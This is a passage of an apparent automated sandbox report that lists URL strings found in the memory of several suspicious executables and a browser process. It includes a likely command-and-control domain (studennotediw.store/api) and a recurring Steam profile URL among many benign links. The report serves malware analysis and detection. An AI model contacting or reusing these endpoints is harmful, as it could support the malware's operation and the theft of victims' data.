Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2503534834.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2602087870.00000000013F3000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2639388105.00000000013F3000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2753459647.00000000013FA000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2656482446.00000000013F3000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: 9b7d422018.exe, 0000001B.00000003.2477576841.0000000001371000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2478219685.0000000001373000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/765611997243319006
Source: 66c6d84346.exe, 00000024.00000002.2803946983.00000000006E1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900u
Source: file.exe, 00000000.00000003.1742967425.0000000001159000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688927467.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/workshop/
Source: 66c6d84346.exe, 00000024.00000002.2803946983.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803470311.0000000000D05000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com:443/profiles/76561199724331900
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/
Source: 66c6d84346.exe, 00000024.00000003.2781919198.000000000071B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/;
Source: 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cd883ccb3237fa39
Source: 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/about/
Source: file.exe, 00000000.00000003.1742967425.0000000001159000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688927467.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/explore/
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2503534834.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2602087870.00000000013F3000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2612938449.0000000000C4E000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000002.2803946983.00000000006C5000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803470311.0000000000CFE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/legal/
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688927467.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/mobile
Source: file.exe, 00000000.00000003.1742967425.0000000001159000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688927467.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/news/
Source: file.exe, 00000000.00000003.1742967425.0000000001159000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688927467.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/points/shop/
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688927467.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: file.exe, 00000000.00000003.1742967425.0000000001159000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688927467.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/stats/
Source: file.exe, 00000000.00000003.1742967425.0000000001159000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688927467.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: file.exe, 00000000.00000003.1742967425.0000000001159000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688927467.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: 48bf814d33.exe, 00000025.00000003.2803470311.0000000000D05000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://studennotediw.store:443/api
Source: file.exe, 00000000.00000003.1743319032.0000000005911000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2504082847.0000000005CD5000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2613688781.00000000053CE000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2641683786.00000000053A2000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2717577766.0000000005666000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.microsof
Source: firefox.exe, 00000015.00000003.2205722525.0000016C0CFA1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/
Source: firefox.exe, 00000015.00000003.2207277685.0000016C0CDFA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/firefox-relay-integration
Source: firefox.exe, 00000015.00000003.2207340958.0000016C0CDEF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/security-error
Source: firefox.exe, 00000015.00000003.2205325806.0000016C0DB05000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: 20b68761b3.exe, 00000021.00000003.2795353892.000000000588C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 00000015.00000003.2249656043.0000016C7FE2C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windows
Source: firefox.exe, 00000015.00000003.2242930006.0000016C0EACA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsMediaPlatformDecoderNotFound
Source: firefox.exe, 00000015.00000003.2242930006.0000016C0EACA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsMediaWMFNeeded
Source: 20b68761b3.exe, 00000021.00000003.2795353892.000000000588C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 00000015.00000003.2086061408.0000016C0C5E5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: file.exe, 00000000.00000003.1743376640.0000000005908000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743319032.000000000590F000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2504082847.0000000005CD3000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2613688781.00000000053CC000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2641683786.00000000053A0000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2714583321.0000000005443000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2717577766.0000000005666000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000003.1743376640.00000000058E3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2714583321.000000000541F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: file.exe, 00000000.00000003.1743376640.0000000005908000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743319032.000000000590F000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2504082847.0000000005CD3000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2613688781.00000000053CC000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2641683786.00000000053A0000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2714583321.0000000005443000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2717577766.0000000005666000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000000.00000003.1743376640.00000000058E3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2714583321.000000000541F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: firefox.exe, 00000015.00000003.2124955286.0000016C13530000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2179386446.0000016C13536000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 00000015.00000003.2249656043.0000016C7FE2C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 00000015.00000003.2249656043.0000016C7FE2C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 00000015.00000003.2249656043.0000016C7FE2C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 00000015.00000003.2249656043.0000016C7FE2C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 00000015.00000003.2205722525.0000016C0CFAF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://truecolors.firefox.com/
Source: firefox.exe, 00000015.00000003.2205679702.0000016C0D866000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2069170027.0000016C138CE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://twitter.com/
Source: firefox.exe, 00000015.00000003.2242365445.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2258216057.0000016C0EFA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2201974946.0000016C0EFA1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 00000015.00000003.2201912766.0000016C0EFE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2241884499.0000016C0EFEF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2068503924.0000016C139BE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://weibo.com/
Source: firefox.exe, 00000015.00000003.2124955286.0000016C13530000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2179386446.0000016C13536000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 00000015.00000003.2083904396.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2231622178.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2069170027.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2238564599.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2068503924.0000016C139BE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 00000015.00000003.2083904396.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2231622178.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2069170027.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2238564599.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.ca/
Source: firefox.exe, 00000015.00000003.2068503924.0000016C139BE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.co.uk/
Source: firefox.exe, 00000015.00000003.2205679702.0000016C0D866000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2069170027.0000016C138CE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/
Source: firefox.exe, 00000015.00000003.2196521682.0000016C7F5AD000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2723869326.000000000537A000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2714716292.0000000005374000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2717946351.0000000005374000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2742010534.00000000006E6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: firefox.exe, 00000015.00000003.2083482894.0000016C1390C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 00000015.00000003.2201687644.0000016C133DF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill
Source: firefox.exe, 00000015.00000003.2083904396.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2231622178.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2069170027.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2238564599.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.de/
Source: firefox.exe, 00000015.00000003.2083904396.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2231622178.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2082774032.0000016C13969000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2069170027.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2238564599.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2255391397.0000016C1397C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2230082437.0000016C13976000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.fr/
Source: firefox.exe, 00000015.00000003.2068503924.0000016C139BE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 00000015.00000003.2082774032.0000016C13969000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2255391397.0000016C1397C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2230082437.0000016C13976000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2069170027.0000016C138CE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 00000015.00000003.2068503924.0000016C139BE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.bbc.co.uk/
Source: 9b7d422018.exe, 0000001B.00000003.2658079737.00000000013B3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.cloudflare.com/5xx-PN
Source: file.exe, 00000000.00000003.1708086827.0000000001100000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013E5000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477576841.00000000013A7000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2596186825.0000000000BF6000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2592537988.0000000000BC9000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622539528.00000000006A1000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2689551173.0000000000E48000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: 9b7d422018.exe, 0000001F.00000003.2622539528.000000000068C000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622539528.00000000006A1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.cloudflare.com/learni
Source: 9b7d422018.exe, 0000001F.00000003.2622539528.000000000068C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.cloudflare.com/learniMM
Source: file.exe, 00000000.00000003.1708086827.0000000001100000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1895523136.0000000001142000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1895440389.0000000001133000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.cloudflare.com/learning
Source: 9b7d422018.exe, 0000001B.00000003.2477576841.0000000001366000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.cloudflare.com/learning/acc6
Source: 48bf814d33.exe, 0000001E.00000003.2596186825.0000000000BF6000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2596186825.0000000000BE4000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2592537988.0000000000BE1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.cloudflare.com/learning/acces
Source: 48bf814d33.exe, 0000001E.00000003.2596186825.0000000000BE4000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2592537988.0000000000BE1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.cloudflare.com/learning/acces##
Source: 9b7d422018.exe, 0000001B.00000003.2477576841.00000000013A7000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2592537988.0000000000BC9000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2689551173.0000000000E48000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
